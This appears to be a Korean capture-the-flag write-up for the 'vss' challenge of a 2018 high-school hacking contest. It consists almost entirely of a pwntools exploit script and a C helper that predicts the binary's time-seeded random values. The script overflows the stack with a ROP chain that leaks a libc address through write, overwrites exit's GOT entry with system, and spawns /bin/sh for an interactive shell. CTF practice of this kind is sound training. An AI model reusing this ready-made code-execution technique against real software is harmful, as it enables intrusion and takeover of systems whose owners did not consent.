선린인터넷고등학교 교내해킹방어대회 2018 vss

많이 돌려봐야 된다

주소가 0x00 에 배치되길 기다리며 RTJ 를 한다

from pwn import *
import time
import sys
 
pppr = 0x080486f9
#pppr =  0x8048693
pr = 0x08048361
main = 0x8048522
 
 
context.terminal = ['gnome-terminal','-x','sh','-c']
 
def GET_RANDOM():
    print_random  = process("./print_random")
    random_value = print_random.recv().replace(" ","").split("\n")
    try:
        del random_value[11]
    except:
        None
 
    try:
        del random_value[10]
    except:
        None
    
    print_random.close()
    return random_value
 
 
while True:
    is_leaked = False
    for j in range(0,255):
        p = process("./vss")
        e = ELF("./vss")
        rand = GET_RANDOM()
 
 
        print rand
 
        print p.recv()
 
 
 
        payload= "\x90" * (288 -72)
        payload += p32(e.plt["write"])
        payload += p32(pppr)
        payload += p32(1)
        payload += p32(e.got["write"])
        payload += p32(0x100)
 
        payload += p32(e.plt["read"])
        payload += p32(pppr)
        payload += p32(0)
        payload += p32(e.got["exit"])
        payload += p32(8)
 
        payload += p32(e.plt["read"])
        payload += p32(pppr)
        payload += p32(0)
        payload += p32(e.bss()+100)
        payload += p32(len("/bin/sh\x00"))
# 0x15ba0b
        payload += p32(e.plt["exit"])
        payload += "AAAA"
        payload += p32(e.bss()+100)
 
        payload += "\x90" * (320 - len(payload))
 
        try:
            for i in rand:
                payload += p32(int(i))
        except:
            p.close()
            continue
 
        payload += "A" * (0x1ac - len(payload) - 52)
        payload += p8(0)#p8(j)
        #raw_input()
        p.send(payload)
 
        try:
            leak = u32(p.recv(4))
            print hexdump(leak)
            log.success("leak : " + hex(leak))
            libc_base = leak - 0xd5b70
 
            if hex(libc_base)[2:4] == "f7":
                is_leaked = True
                #gdb.attach(proc.pidof(p)[0])
                log.success("libc_base : " + hex(libc_base))
                log.success("system_addr : " + hex(libc_base + 0x3ada0))
                p.send(p32(libc_base+0x3ada0))
                p.send("/bin/sh\x00")
                p.interactive()
                break
 
 
        except :
            p.close()
 
        p.close()
    if is_leaked:
        break
 

#include <stdio.h>
#include <time.h>
#include <stdlib.h>
 
void main()
{
    int v5[100];
    unsigned int v1 = time(0);
    srand(v1);
    int v2 = 50 * rand() / 30;
    //0x2000 , 4120
    int v3 = (0x2000 - 4120 + 0x2000 / 4120) * (0x2000 - 4120 + 0x2000 / 4120) * (0x2000 - 4120 + 0x2000 / 4120);
    srand(v2 - v3);
    for(int i=0; i<=9; ++i)
    {
        v5[i] = rand();
        printf("%d \n",v5[i]);
    }
    printf("\n");
}